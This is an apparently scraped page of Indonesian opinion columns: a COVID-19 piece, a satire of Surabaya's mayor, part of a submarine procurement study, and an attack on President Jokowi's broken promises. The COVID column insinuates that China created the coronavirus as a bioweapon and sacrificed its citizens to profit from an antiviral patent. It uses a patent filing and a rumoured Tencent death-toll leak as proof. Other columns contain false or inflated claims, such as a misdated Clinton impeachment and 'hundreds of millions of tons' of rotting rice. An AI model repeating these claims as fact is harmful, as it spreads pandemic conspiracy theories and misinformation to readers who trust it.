Sukajaya, Sipayung, Cisarua, Jayaraharja, Pasir Madang, dan Desa Cileuksa. (Bersambung) Penulis adalah Wartawan Senior

Di Balik Paten Anti-Virus Corona: Bisnis Baru China?

Oleh Mochamad Toha Jakarta, FNN - Dalam tulisan sebelumnya, saya sempat menyinggung soal tidak tertutup kemungkinan virus corona yang tersebar pertama di Kota Wuhan, Provinsi Hubei, China, itu adalah uji coba dari senjata biologis yang sengaja diciptakan China. Indikasi ini terlihat, kini China sedang ajukan Hak Paten untuk Antivirus Corona. Adalah Wuhan National Biosecurity Laboratory atau dikenal dengan nama Institut Virologi Wuhan sebagai lembaga yang meneliti berbagai virus yang berlokasi di Wuhan. Melansir Detik.com, Kamis (06 Feb 2020 13:45 WIB), Peneliti China mengajukan hak paten obat hasil eksperimen yang mereka yakini bisa memerangi virus corona baru. Institut Virologi Wuhan yang berada di pusat kota China ini tengah mengajukan permohonan penggunaan obat antivirus yang dikenal dengan remdesivir, untuk mengobati virus corona baru. Pengajuan hak paten obat itu sudah dilakukan sejak 21 Januari 2020. Temuan para ilmuwan menunjukkan kombinasi remdesivir dan chloroquine ketika diuji coba ke virus corona baru (2019-nCov) di laboratorium sangat efektif untuk memerangi virus corona baru. Berbeda dengan remdesivir yang merupakan antivirus terbaru, chloroquine adalah obat antimalaria yang sudah dikenal sejak 80 tahun yang lalu. China sudah bisa memproduksi chloroquine sehingga mereka tinggal membutuhkan paten untuk menggunakan remdesivir. Melansir situs Straits Times, remdesivir saat ini dalam tahap uji klinis terhadap pasien yang menderita infeksi virus corona di China. Kepala Staf Medis Gilead Merdad Parsey, mengatakan saat ini ada dua pasien dengan gejala infeksi virus corona yang parah dirawat dengan remdesivir. Gilead mengirimkan obat itu dalam dosis yang diperkirakan cukup untuk merawat 500 pasien dan pasokan itu bisa ditambah jika uji klinis itu berhasil. Hingga Rabu (5/2/2020) ini, Gilead bekerja cepat untuk menghasilkan lebih banyak obat. Pernyataan Gilead ini justru menunjukkan bahwa Institut Virologi Wuhan sebelumnya sudah menyiapkan antivirus corona yang kemudian diuji-coba ke pasien yang kini dirawat di rumah sakit di China. Hasilnya, 475 pasien dinyatakan sembuh dan sehat. Seperti ditulis Detik.com sebelumnya, Selasa (04 Feb 2020 18:08 WIB), meski jumlah pasien yang terinfeksi virus corona tipe baru bertambah setiap harinya, angka kesembuhannya pun terbilang meningkat. Dilaporkan sebanyak 475 pesien virus corona telah dikeluarkan dari RS setelah menunjukkan tanda-tanda pemulihan. Komisi Kesehatan Nasional China dalam keterangan resminya yang dikutip dari The Star menyebut sekitar 147 orang pada Minggu (2/2/2020) keluar dari RS, 80 diantaranya dari Hubei, setelah benar-benar bersih dan negatif virus corona. Hingga kini, jumlah total kasus infeksi virus corona dikabarkan mencapai 20.438 dengan total kematian sebanyak 425 jiwa, bahkan data terakhir mencapai 600 jiwa lebih. Di luar China, sedikitnya 180 kasus dilaporkan termasuk data mengenai korban meninggal. Hingga Selasa, (04/02/2020) WHO mengabarkan virus corona positif tersebar di 27 negara. Diantaranya, Amerika, Australia, Jepang, Kanada, Korea Selatan, Singapore, Nepal, Angola, dan beberapa negara besar di Eropa. Tercatat 425 orang dinyatakan meninggal dunia, dan 17.825 orang terinfeksi virus corona. Sebanyak 52 negara juga sudah mengumumkan berbagai warning kepada setiap warga negaranya yang berkunjung ke China. Secara ekonomi, pasar bursa di China juga mengalami kepanikan yang luar biasa. CNBC Indonesia memberitakan, 5.700 triliun rupiah dana bursa diamankan para pemain bursa. Sehingga Bank Central China harus menyuntikkan dana sangat fantastis yaitu sebesar 178 miliar dolar agar pasar bursa tetap hidup plus berbagai macam instrumen insentif per-bank-kan yang dilakukan otoritas China untuk menjaga stabilitas ekonomi negaranya. Di dalam tataran masyarakat kepanikan lebih menjadi-jadi. Hampir sudah seluruh daratan China dinyatakan “berbahaya” dan berpotensi terjadi penularan virus corona. Jutaan masyarakatnya dikarantina, diberlakukan jam malam super ketat, tidak boleh bepergian keluar rumah. Mengapa kondisi China hari ini begitu berbanding terbalik dengan China yang super megah dengan berbagai macam kemajuan dan lompatan teknologi yang mereka capai? Hampir dua dasawarsa ini, ramai kita dengar berbagai rasa takjub. Dengan geostrategi politik BRI (Belt, and Road Initiative) China menjelma menjadi raksasa baru ekonomi dunia. Secara ekonomi dan lompatan penguasaan teknologi China itu bahkan dianggap setara atau sudah melampaui Amerika. Produk-produk China membanjiri santero dunia. China pun adalah negara yang mempunyai cadangan devisa negara dalam bentuk dolar terbesar di dunia. Kini kita melihat, kemegahan China mulai meredup, seiring serangan virus corona. Namun, di balik itu semua bahwa China kini tampaknya sudah menemukan vaksin antivirus corona yang siap dipatenkan. Tentu saja tidak salah kalau kita patut curiga, jangan-jangan virus corona itu memang ciptaan China sendiri?! Silakan hitung sendiri, sesuai catatan WHO, sekarang ini virus corona positif tersebar di 27 negara. Diantaranya, Amerika, Australia, Jepang, Kanada, Korea Selatan, Singapore, Nepal, Angola, dan beberapa negara besar di Eropa. Dan ingat, virus corona ini bisa dengan mudah menyebar luas di tengah-tengah masyarakat dunia. Kalau China sudah berhasil mematenkan antivirus corona itu, bisa dibayangkan, berapa nilai keuntungan yang bakal diperoleh dengan “bisnis” vaksin corona ini. Untuk uji coba itu bagi China tidak masalah meski harus "mengorbankan" rakyatnya sendiri. Bahkan, untuk jumlah korban pun masih ada upaya menutupinya. Ini diungkap oleh media online terbesar China, Tencent, yang menyajikan hasil liputannya. Tencent menyajikan jumlah data kematian dan yang terinfeksi virus Corona di Wuhan jauh melebihi angka resmi yang dirilis pemerintah China, seperti dilansir oleh Tempo.co, Kamis (6 Februari 2020 19:54 WIB). Tencent pada 26 Januari 2020 dalam hasil liputannya yang diberi judul Epidemic Situation Tracker menunjukkan jumlah korban infeksi virus corona yang tewas di Wuhan mencapai 24.589 orang dan korban yang terinfeksi di kota itu sebanyak 154.023 orang. Seperti dilaporkan Taiwan News.com, 5 Februari 2020, Tencent memuat data itu pada 1 Februari 2020 jam 11 malam 39 menit dan 4 detik. Setelah beberapa saat kemudian, media yang dimiliki konglomerat multinasional China itu, mengganti data tersebut sesuai dengan data yang dirilis pemerintah China, yaitu 304 orang tewas dan 14.446 kasus terinfeksi virus corona di Wuhan. Seorang netizen Taiwan, Hiroki Lo kemudian melaporkan bahwa sebelum data diubah mengikuti data pemerintah China, Tencent dan NetEase sempat mengunggah kata: statisitik tidak dimodifikasi. Perbedaan data yang dirilis Tencent dan pemerintah memunculkan berbagai dugaan serta spekulasi. Ada yang menyebut sebagai teori konspirasi tanpa merinci alasannya. Namun beberapa orang menduga data ini sengaja dibocorkan jurnalis karena berseberangan dengan Beijing. Ada juga yang mengatakan ini semacam rekayasa data digital. Tencent sendiri tak memberikan data yang jauh lebih tinggi dari data pemerintah China. Daily mail menulis, salah satu pengguna Twitter yang mengklaim sebagai analis politik berkantor di Taiwan menyajikan data yang menunjukkan jumlah angka kematian. Menurutnya, akibat wabah virus corona di China mencapai 12,781 orang pada 27 Januari 2020 jam 8.30 malam waktu setempat. Saat yang sama, data pemerintah menyebut jumlah yang tewas sebanyak 80 orang. Situs Secret China juga mengutip laporan Tencent yang menyebut 2.577 orang tewas pada 26 Januari, atau 130 kali lebih banyak dari data pemerintah China. Forum diskusi online yang fokus pada topik-topik yang sensitif, Pincong, menanggapi data Tencent. “Tidak tahu apakah hal ini benar, tapi data ril lebih tinggi dibandingkan yang resmi. Karena, sebagian besar yang menderita di Wuhan telah mengirim permintaan bantuan mereka melalui WeChat, menuding rumah sakit-rumah sakit menolak menerima mereka setelah mereka dinyatakan terinfeksi.” Data Tencent pun sesuai perkiraan atas hasil studi modelling ilmiah oleh Univeristas Hong Kong dan dipublikasikan di situs Lancet. Studi ini menyebutkan pada 25 Januari 2020, kemungkinan jumlah orang yang terinfeksi virus Corona mencapai 75.815 orang di Wuhan. Jumlah ini jauh lebih besar dibandingkan data pemerintah pada tanggal 6 Februari yakni 28 ribu orang. Dari perhitungan pada 25 Januari hingga 1 Februari 2020, jumlah kasus infeksi virus corona di Wuhan saja menurut studi Universitas Hong Kong telah mencapai 150 ribu kasus. Ini artinya mendekati data Tencent, yakni 154.023 kasus. Mendekati 12 hari sejak laporan ini dirilis, studi ini memperkirakan jumlah orang yang terinfeksi virus corona di Wuhan mencapai 300 ribu orang. Hingga Kamis (6 Februari 2020), data resmi pemerintah China menyebutkan jumlah korban tewas akibat wabah virus Corona sebanyak 560 orang dan lebih dari 28 ribu orang terinfeksi. Sebagian besar korban tewas dan terinfeksi ditemukan di Wuhan. Penulis adalah wartawan senior

Risma Bukan Kodok

Oleh Dimas Huda Aku ini binatang jalang Dari kumpulannya terbuang Biar peluru menembus kulitku Aku tetap meradang menerjang == Jakarta, FNN - Begitu penggalan puisi Chairil Anwar berjudul “Aku”. Sastrawan ini menyebut dirinya sebagai binatang jalang. Duh, sudah binatang, jalang pula. Sudah barang tentu, Chairil tidak sedang bermaksud menganggap kedua orang tuanya, ibu yang melahirkannya, sebagai binatang. Tidak. Lagi pula, rasanya tidak ada orang yang dengan senang hati disebut binatang. Toh begitu, tidak sedikit orang yang memberi nama anak-anak mereka dengan nama binatang. Sebut saja Gajah Mada, yang jadi Patih Majapahit itu. Ada Kasman Singodimedjo, Ketua KNIP (Komite Nasional Indonesia Pusat) yang menjadi cikal bakal dari DPR. Dan banyak lagi. Dalam khazanah bahasa Melayu, binatang digunakan sebagai perlambangan. Sebut saja, kuda tunggangan, katak dalam tempurung, anjing menyalak bukit, dan seterusnya. Sebagian adalah perumpamaan. Hanya saja dari nama-nama yang ngetop itu tak ada nama tokoh bernama “kodok”. Nah, boleh jadi inilah yang menjadikan Wali Kota Surabaya, Tri Rismaharini, nggak sudi disebut “kodok” oleh Zikria Dzatil dalam statusnya di Facebook. Risma menganggap olokan tersebut sama dengan merendahkan kedua orang tuanya. “Kalau saya kodok berarti orang tua saya kodok. Saya tidak ingin orang tua saya direndahkan," pekiknya, Rabu (5/2). Inilah salah satu dalih mengapa Risma menyeret Zikria ke penjara. Seperti yang sudah terjadi, polisi menangkap Zikria di kediamannya, di Perumahan Mutiara Bogor Blok E-6/24, Kelurahan Katulampa, Kecamatan Kota Bogor Timur, Kota Bogor, Jawa Barat gara-gara ulah Risma. Zikria dijerat dengan menggunakan UU ITE, Ancaman hukuman paling lama 6 tahun penjara dan denda paling banyak Rp1 milyar. Risma adalah kader partai penguasa. Ia ingin mengatakan bahwa dirinya bukan “kodok”. Risma adalah banteng. Ohoi … Rasanya, Risma sedang baper alias bawa perasaan. Ia mencari-cari dalih untuk membenarkan tindakannya memidanakan rakyat kecil. Rakyat yang serba terbatas. Rakyat yang harusnya punya hak untuk mengkritik pejabat publik. Kader PDI Perjuangan, biasanya sangat bangga disebut “banteng”. Ketua Umum PDI Perjuangan, Megawati Soekarnoputri, memekik: “Banteng …” tatkala memanggil kader PDIP dalam berbagai kesempatan kampanye. Pekikan itu biasanya disambut dengan sukacita peserta kampanye "Kemarin ini keren kan, ketika saya hanya bilang, setop banteng merumput,” ucap Megawati saat berpidato di pembukaan Kongres V PDI Perjuangan di Grand Inna Bali Beach Hotel, Sanur, Bali, 8 Agustus 2019. Pernyataan Mega itu terkait kabar pindahnya posko pemenangan Prabowo-Sandiaga ke Solo, Jawa Tengah, yang notabene adalah 'kandang banteng'. Dia memerintahkan para kader partai banteng moncong putih untuk berhenti 'merumput'. Kalimat seperti itu sudah biasa di kalangan PDIP. Risma juga kader “Banteng”. Kedua orang tua Risma tidak serta merta menjadi banteng pada saat ini. Pendukung Joko Widodo juga dengan senang hati disebut “cebong”. Begitu juga pendukung Prabowo. Rela disebut “kampret”. Mereka yang disebut cebong atau kampret ini bukan anak kodok maupun kelelawar. Jadi harusnya tidak ada masalah. Politik itu mestinya asyik-asyik saja. Pemimpin mestinya nggak baperan. Jangan dikit-dikit tersinggung. Meniru Jokowi, Prabowo Subianto, juga Anies Baswedan jauh lebih baik bagi Risma. Bisa dibayangkan berapa banyak rakyat kecil akan masuk bui jika ketiga pemimpin bangsa ini baperan. Ketiga pejabat ini nyaris saban hari dirisak di media sosial. Meme menghina yang ditujukan kepada mereka bertebaran. Nggak percaya? Googling saja. Jokowi santai. Prabowo berlagak pilon. Anies asyik dengan tugasnya. Semua asyik saja. Mereka sadar, itu adalah risiko menjadi pemimpin. Kualitas mereka sudah teruji. Keistimewaan Kodok Kembali ke kodok. Manusia adalah mahluk yang paling sempurna. Itu pasti. Namun kodok juga tidak buruk-buruk amat. Kodok merupakan salah satu hewan yang mendapatkan pembahasan khusus di dalam Islam. Binatang yang selalu riuh rendah suaranya kala musim hujan ini, merupakan binatang yang istimewa. Pada sebuah hadits sahih disebutkan Nabi Muhammad bersabda: “Berilah keamanan bagi kodok (jangan dibunuh), karena sesungguhnya suaranya yang kalian dengan adalah tasbih, taqdis, dan takbir. Sesungguhnya hewan-hewan meminta izin kepada Rabb-nya untuk memadamkan api dari Nabi Ibrahim, maka diizinkanlah bagi kodok. Kemudian api menimpanya maka Allah menggantikan untuknya panas api dengan air”. Kodok tak mungkin menjadi manusia. Begitu juga Risma. Biar dibilang kodok oleh seluruh rakyat Surabaya sampai Bogor sekalipun, tidaklah mungkin ia berubah menjadi kodok. Risma terlalu gemuk untuk menjadi kodok. Lagi pula, kalau jadi kodok, Risma tidak akan mungkin bisa menjadi walikota. Apalagi memenjarakan rakyat kecil. Risma jelas tidak peka bahasa. Ada yang bilang manusia adalah hewan yang berakal. Jika pikiran digunakan, manusia berbeda dengan binatang. Sikap Risma yang baperan itu tidak pantas ditunjukkan seorang pemimpin. Selain itu, Risma juga terlalu genit. Sering kali ia menunjukkan kelakuan aneh-aneh. Pada satu hari ia tampak sibuk mengatur lalu lintas. Pada hari lainnya, kedapatan menyapu jalan. Lalu, membersihkan gorong-gorong. Risma lupa, bahwa ia dipilih rakyat untuk menjadi walikota. Bukan tukang sapu jalan, apalagi mengatur lalu lintas. Semua itu ada petugasnya masing-masing. Risma diharapkan melahirkan karya besar menjadikan Surabaya tempat yang nyaman bagi warganya. Tak sedikit nitizen memuji Risma karena kelakuannya itu. Namun, lantaran kegenitannya itu, ada juga sejumlah warganet yang tak tahan untuk tidak berkomentar. Mereka memasang status yang berisi kritik. Ada yang mengoloknya sebagai Tenaga Kerja Wanita (TKW). Celakanya, kritik itu mendapat respon Risma secara negatif. Dia menyeret olokan itu sebagai penghinaan kepada TKW. Itu dianggap merendahkan martabat TKW. Lucu. Padahal bisa saja orang berpendapat sebaliknya: memuliakan TKW menjadi sederajat walikota? Lantaran sikap baper ini, Risma lupa bahwa dirinya adalah pejabat publik. Pejabat publik harus siap dipuji, tapi harus siap juga dihina. Risma memang tak sehebat Jokowi, Prabowo, maupun Anies. Tapi setidaknya Risma mestinya paham bahwa kritik dan hinaan adalah risiko pejabat publik. Rakyat boleh mengkritik pejabat tinggi berdasarkan pada azas kebebasan berpendapat yang diatur Undang-Undang. Mengkriminalisasi rakyat yang mengkritik jelas mengabaikan hak demokrasi warga negara. Risma telah merusak demokrasi. Padahal memaafkan itu membebaskan. Penulis wartawan senior.

Kapal Selam Korsel (4): Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik

Oleh Mochamad Toha Jakarta, FNN - Selain surat Franklin Tambunan ke Presiden Joko Widodo, fnn.co.id juga menerima copy hasil Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik Dihadapkan Dengan Rencana Pembangunan Kekuatan TNI AL Dan Kemandirian Industri Pertahanan Nasional. Berikut catatan hasil kajian tersebut yang ditulis pada Maret 2018 oleh Satuan Kapal Selam Komando Armadaa RI Kawasan Timur. Bahwa Negara Kesatuan Republik Indonesia (NKRI) merupakan negara kepulauan (archipelagic state) terbesar di dunia yang mempunyai 17.504 pulau, panjang garis pantai 81.000 km dengan luas perairan 5,8 juta km². Posisi Indonesia secara geografis juga sangat strategis karena terletak di antara dua samudera besar, yakni Samudera Hindia dan Samudera Pasifik serta dua benua, yakni Benua Asia dan Australia. Sehingga apabila ditinjau dari geostrategik, geopolitik maupun geoekonomi memiliki peran yang sangat penting bukan hanya bagi bangsa Indonesia, namun juga bagi negara-negara di kawasan Asia Pasifik bahkan dunia secara global. Hal ini tentunya membawa konsekuensi logis yang signifikan terhadap upaya pelaksanaan pengamanan NKRI secara berkesinambungan, sehingga berdampak positif terhadap stabilitas pembangunan nasional. Karena itu, Indonesia membutuhkan sarana dan prasarana untuk melaksanakan penegakan kedaulatan negara sekaligus menjaga keamanan di seluruh wilayah yurisdiksi nasional. TNI AL sesuai dengan peran, fungsi, dan tugasnya sebagaimana yang diamanatkan dalam UU, merupakan komponen utama sistem pertahanan negara di laut serta bertanggung jawab terhadap keamanan laut di seluruh wilayah yurisdiksi nasional. Agar dapat melaksanakan tugasnya dengan optimal, maka TNI AL membutuhkan alutsista yang memenuhi kebutuhan untuk memenuhi peran, fungsi maupun tugasnya, baik di permukaan, bawah air dan udara serta peralatan Marinir. Bukan saja dalam jumlah yang memadai, namun juga sesuai dengan operational requirement yang sesuai dengan konstelasi geografi Indonesia. Pelaksanaan tugas penegakan kedaulatan negara dan keamanan di laut sangat tergantung pada kehadiran unsur-unsur di laut. Eksistensi kapal selam yang sebagai salah satu sistem senjata strategis matra laut, disamping sebagai fungsi pengamanan teritorial laut dapat memberikan efek penggentar (deterrence effect) di kawasan. Mengingat semakin meningkatnya kemampuan kapal selam negara-negara di kawasan regional, maka perlu adanya perimbangan kekuatan (Balance of Power) untuk mewujudkan stabilitas keamanan dan pertahanan di kawasan dengan penambahan kapal selam baru bagi TNI AL yang sekaligus dapat memberikan dampak penangkalan (deterrence). Sehingga meningkatkan Bargaining Power dan berfungsi juga untuk memperkuat posisi diplomasi politik di kawasan. Keberadaan 12 Kapal Selam kelas Whiskey buatan Uni Soviet, menjadikan Indonesia sebagai negara yang disegani dan diperhitungkan pada medio 1960-an. Sebagai contoh kemenangan Indonesia merebut Irian Barat tanpa harus melalui pertempuran merupakan wujud nyata keberhasilan deterrent effect yang dimiliki Indonesia saat itu, sebagai salah satu negara dengan persenjataan militer yang kuat di belahan bumi selatan. Dalam rencana pembangunan kekuatannya terutama kapal selam, TNI AL memiliki kepentingan terhadap perkembangan industri pertahanan dalam negeri, sebagai wujud kemandirian dalam mendukung dan memenuhi kebutuhan Alat Utama dan Sistem Senjata (Alutsista) TNI. Sesuai dengan Pasal 3 UU Nomor 16 Tahun 2012 tentang Industri Pertahanan, salah satunya bertujuan mewujudkan kemandirian pemenuhan Alat Peralatan Pertahanan dan Keamanan, tentunya diharapkan berjalan selaras dengan TNI AL yang membutuhkan Kapal Selam berkualitas, handal, mempunyai efek deterent yang tinggi. Minimal seimbang dengan kekuatan kapal selam yang dimiliki negara-negara di kawasan regional dan memberikan rasa aman serta level of confidence yang tinggi kepada para pengawak kapal selam tersebut. Untuk memenuhi kriteria jenis serta kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur serta kemampuan yang diinginkan, untuk itu maka disusun Operational Requirement, lalu dijabarkan ke dalam Technical Specification Requirement. Kedua produk itu digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Untuk itu kemandirian industri pertahanan melalui transfer of technology khususnya kapal selam diharapkan bisa berjalan seimbang dan beriringan dengan kebutuhan TNI AL terhadap Kapal Selam yang handal, berkualitas, dan memberikan efek psikologis berupa rasa aman dan percaya diri (confident) kepada para pengawaknya. Kajian ini berdasarkan Surat Kabaranahan Kemhan No: B/1302/II/2018/Baranahan tanggal 12 Februari 2018 tentang Konfirmasi Spektek Kapal Selam Diesel Elektrik Program PLN/KE TA. 2015-2019. Surat Menteri Keuangan Nomor: SR-579/MK.08/2017 tanggal 08 Desember 2017 tentang penetapan Sumber Pembiayaan untuk Kementerian Pertahanan tahun 2017. Surat Sekretaris Kabinet Nomor: B.56/Seskab/Polhukam/01/2017 tanggal 24 Januari 2017 tentang Rancangan Peraturan Presiden tentang Program pembangunan dan pemeliharaan kapal selam. Yang perlu diperhatikan adalah bagaimana memenuhi kebutuhan kapal selam dihadapkan dengan keberlangsungan industri pertahanan Nasional.Komitmen untuk membangun industri pertahanan strategis nasional menuju kemandirian Industri Pertahanan yang sesuai amanat UU Nomor 16 tahun 2012 tentang Industri Pertahanan. TNI AL berkomiten kuat untuk mendukung terwujudnya hal tersebut. Realisasi di lapangan telah terwujud dengan pembangunan kapal-kapal PKR 10514 dan KCR 60 di PT PAL, serta pembangunan 3 Kapal Selam tipe 209 di mana 2 unit dibangun di galangan kapal DSME serta joint section kapal selam ke-3 dilaksanakan di PT. PAL. Dalam memenuhi kriteria, jenis dan kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur, dan kemampuan yang diinginkan, untuk kemudian disusun Operational Requirementyang selanjutnya dijabarkan ke dalam Technical Specification Requirement. Kedua produk tersebut digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Dalam pelaksanaannya di lapangan, inkronisasi kebutuhan alat perlengkapan pertahanan dan keamanan antara user (TNI AL) dan industri pertahanan, masih terdapat kendala, antara lain: Kemampuan untuk memenuhi kriteria yang berdasarkan Opsreq dan Techreq yang diajukan, degradasi performance alutsista yang diharapkan, serta keberhasilan proses dan hasil alih teknologi (Transfer of Technology). Negara-negara di kawasan regional telah meningkatkan kemampuan Angkatan Laut-nya dengan membangun tidak hanya berbagai jenis kapal permukaan seperti corvette dan frigate modern, tetapi juga kapal selam dengan kuantitas dan kualitas yang cukup signifikan. Kekuatan yang ada saat ini dinilai belum mampu menghadapi ancaman potensial berupa kekuatan militer dari luar, maupun mengimbangi kekuatan angkatan laut negara tetangga. Invasi militer besar-besaran atau perang terbuka, memang sangat kecil kemungkinannya, akan tetapi low intensity conflict di perairan perbatasan dengan negara tetangga, berpeluang besar terjadi setiap saat. Dalam rangka menghadapi ancaman kekuatan laut asing yang mungkin timbul maka pilihan pengadaan kapal selam merupakan kebijakan yang paling efektif dan efisien karena seiring perkembangannya kapal selam menjadi menjadi suatu mesin perang yang dapat mengubah jalannya pertempuran laut. Disamping itu kapal selam memiliki persenjataan strategis yang diperlukan untuk melindungi kepentingan nasional di dan lewat laut, utamanya dalam rangka melaksanakan deterrence dan coercion. Perairan Indonesia memiliki data hidrografi sebagaimana lazimnya perairan tropis dan perairan kepulauan, dengan beragam bentuk dan jenis dasar laut, serta kedalaman laut yang bervariasi dari perairan dangkal hingga perairan yang dalam. Dengan kondisi perairan Indonesia yang bervariatif tersebut maka kapal selam yang dianggap cocok untuk beroperasi dl perairan Indonesia adalah kapal selam yang mampu beroperasi di laut dalam maupun laut dangkal (kawasan litoral), memiliki endurance dan daya jelajah yang cukup jauh dan lama, dan tentunya memiliki teknologi propulsi yang senyap serta memiliki persenjataan yang banyak dan bervariatif. Kapal selam yang dibutuhkan juga harus mempertimbangkan kemungkinan besar adanya keputusan politik seperti kemungkinan sanksi embargo dari negara produsen terhadap alut sista maupun peralatan atau persenjataan pendukungnya. (Bersambung) Penulis adalah wartawan senior

Niretika, Janji Jokowi dan Keluhan Sri Mulyani

By Dr. Ahmad Yani, SH. MH. Jakarta, FNN- Keluhan rakyat tentang janji yang tidak ditepati rezim Jokowi kini sudah dirasakan orang dekat sendiri. Keluhan itu disampaikan Menteri Keuangan Sri Mulyani dihadapkan forum internasional. Acara yang diadakan sebuah organisasi raksasa dunia, International Monery Fund (IMF). Sri Mulyani, menjadi Menteri Keuangan dua priode. Satu kali di eranya Susilo Bambang Yudhoyono. Yang kedua di zaman Jokowi sekarang. Pengalamannya menjadi bendahara negara tentu tak diragukan. Namun keluhannya juga tentu saja tidak bisa disepelekan. Sri Mulyani mengeluh tentang janji Jokowi yang menumpuk. Perutnya mules karena harus memutar otak untuk mencari cara supaya janji tersebut terlaksana. Misalnya, saat kampanye Pemilihan Presiden 2019 Jokowi berjanji akan menggaji penggangguran dengan biaya tinggi. Gaji untuk penggangguran itu mencapai 8 juta orang. Tentu saja mencengangkan. Orang waras seperti Sri Mulyani menanyakan bagaimana janji itu bisa terlaksana kepada Jokowi. Jokowi kata Sri, hanya menjawab “nanti dipikirkan, sekarang yang penting kampanye dulu”. Dari kalimat Jokowi yang dikutip dari Sri Mulyani tersebut, dapat diduga dari awal, kalau Jokowi tidak serius dengan janjinya. Jokowi tidak peduli apakah janji itu mampu dilakukan atau tidak. Yang pasti Jokowi mengetahui bahwa belum mengerti dan tidak mengetahui apa yang dijanjikannya itu. Akhirnya semua janji itu kini menumpuk dalam ingatan publik. Saking banyaknya janji Jokowi itu, kepala rakyat tidak mampu menampungnya dalam ingatan. TetapI jejak digital Jokowi yang dicatat oleh media tidak bisa terhapus. Janji itu sungguh banyak, namun realisasi masih mengawang-awang. Janji Tidak Ditepati Apa yang terjadi sepanjang satu periode kepemimpinan Jokowi (2014-2019), dan dilanjutkan dengan periode kedua (2019-2024). Kita hanya diberi janji-janji. Rakyat Indonesia sudah kenyang dengan janji-janji itu, hingga sampai memuntahkannya. Salah satu muntahan yang paling mewakili rakyat adalah kata-kata Sri Mulyani yang kita bahas di awal tulisan ini. Kita patut sedih karena hanya janji yang bisa kita nikmati dari periode pertama, sembari kita melihat kondisi negara yang semakin korup. Sedih melihat ekonomi yang terpuruk. Sedih melihat hukum yang dipermainkan. Sedih melihat kehidupan rakyat yang hanya dikasih makan janji. Ada rentetan ketidakmampuan yang memperlihatkan bahwa banyak problem yang terjadi dalam kepemimpinan Jokowi. Ada banyak janji yang diingkari. Ada banyak janji di publik yang terus terang diucapkan demi elektabilitas kampanye semata. Setelah menduduki kekuasaan untuk periode kedua, janji-janji 2014 itu kini benar-benar menjadi utopia belaka. Dulu tahun 2014 Jokowi berjanji, bahwa Pengangkatan Jaksa Agung tidak akan mengambil orang dari Partai Politik. Janji itu dingkari dimuka, pasca dilantik 2014. Selanjutnya tahun 2014 juga, Jokowi menjanjikan bahwa para menteri tidak boleh dijabat oleh Ketua Umum Partai. Juga diingkari. Rencana yang paling disambut meriah publik untuk membentuk kabinet ramping dan professional. Justru Jokowi membentuk kabinet dengan porsi yang gabuk. Bahkan sarat dengan politik balas budi serta bagi-bagi kekuasaan. Kabinet ramping, dan pemangkasan birokrasi hanya menjadi apologi semata. Pasca dilantik 2019, birokrasi justru semakin luas. Semua kementrian dibentuk wakil menterinya. Birokrasi kementrian semakin panjang dan besar. Pembentukan badan atau lembaga yang terus dilakukan. Saya menduga Ini adalah politik balas budi dengan cara yang paling “norak”. Kita juga patut bertanya, bagaimana dengan korban gempa yang dijanjikan dahulu. Misalnya, korban bencana alam seperti di Palu dan NTB? Ingatkah kita ketika gempa dan tsunami melanda beberapa daerah di Indonesia? Jokowi turun ke tempat bencana dengan menjanjikan pembangunan rumah bagi korban. Seperti korban gempa di NTB. Membangun rumah korban bencana belum selesai. Namun dalam kampanye 2019, muncul lagi janji untuk membangun rumah bagi milenial dan tukang cukur. Apakah rumah millenial dan tukang cukur sudah terbangun sekarang? Dari tahun 2014, janji Jokowi sudah menyebar dalam ratusan rupa. Dari mobil ESEMKA hingga ekonomi meroket. Buy back Indosat, hingga janji swasembada pangan. Esemka kini katanya sudah diproduksi, tetapi kita belum kenal pasti itu mobil dari mana dan mesinnya berasal dari mana? Swasembada pangan yang begitu heroik dibicarakan Jokowi setelah 2019, hanya menjadi janji saja. Ada ratusan juta ton beras impor membusuk akibat nafsu import yang tinggi. Beras busuk itu dibuang. Sementara kehidupan rakyat dan petani yang sedang getir menghadapi kelesuan ekonomi. Janji sepuluhg juta lapangan kerja yang dibicarakan lima tahun lalu sudah diisi oleh semua tenaga kerja Asing. Kalau dihitung semua dengan yang illegal, melebihi sepuluh juta itu orang. Begitu teganya hingga anak negeri mengemis cari kerja. Tetapi negara memberikan karpet merah kepada pekerja Asing. Semua demi investasi, meskipun negara harus digadaikan. Persoalan penggangguran yang dikeluhkan Sri Mulyani adalah janji kampanye 2019. Janji untuk menggaji pengangguran itu ternyata hanyalah sebuah jualan kampanye, dan basa basi saja. Tidak ada plan yang dibuat untuk menepati janji itu. Hanya ucapan pemanis kampanye saja. Sehingga ini masuk “karang-karang perkataan bohong” sebagaimana yang diatur dalam KUHP. Mungkin kalau dicatat semua janji Jokowi, maka tidak cukup risalah pendek ini untuk menjelaskan tumpukan janji-janjinya, sehingga Sri Mulyani pun merasa mules perutnya. Hukuman Untuk Pembohong Indonesia perlu belajar pada Amerika Serikat tentang pemimpin yang berbohong. Rabu 19 Desember 1999, DPR Amerika Serikat atau The House of Representatives meminta Presiden Bill Clinton melepas jabatannya, karena skandal seksnya dengan Monica Lewinsky, yang kemudian dikenal dengan “Skandal Lewinsky”. Clinton dimakzulkan karena dianggap berbohong dalam kasus perselingkuhan itu. Apa yang dilakukan Clinton adalah hal yang sangat pribadi. Tetapi karena ia pemimpin, maka berbohong dengan hal sepele itupun diminta untuk dipertanggungjawabkan oleh Parlemen Amerika. Berbeda dengan Bill Clinton, Jokowi tidak hanya berjanji, tetapi juga tidak menepati janji itu. Kasarnya ini pembohongan publik. Janji yang diucapkan Jokowi adalah menyangkut kehidupan berbangsa dan bernegara. Janji itu tidak ditepati. Hasilnya membuat kehidupan berbangsa dan bernegara bermasalah. Dalam hukum positif Indonesia, Pasal 378 KUHP yang menyatakan "barang siapa dengan maksud hendak menguntungkan diri sendiri atau orang lain dengan melawan hak, baik dengan memakai nama palsu atau keadaan palsu, baik dengan akal dan tipu muslihat, maupun dengan karangan-karangan perkataan bohong, membujuk orang supaya memberikan sesuatu barang, membuat utang atau menghapuskan piutang, dihukum karena penipuan, dengan hukuman penjara selama-lamanya empat tahun." Pasal 378 KUHP itu dikaitkan dengan janji-janji Jokowi selama menjadi presiden sebagaimana yang diurai di atas, tentu patut diduga memenuhi unsur-unsur pasal 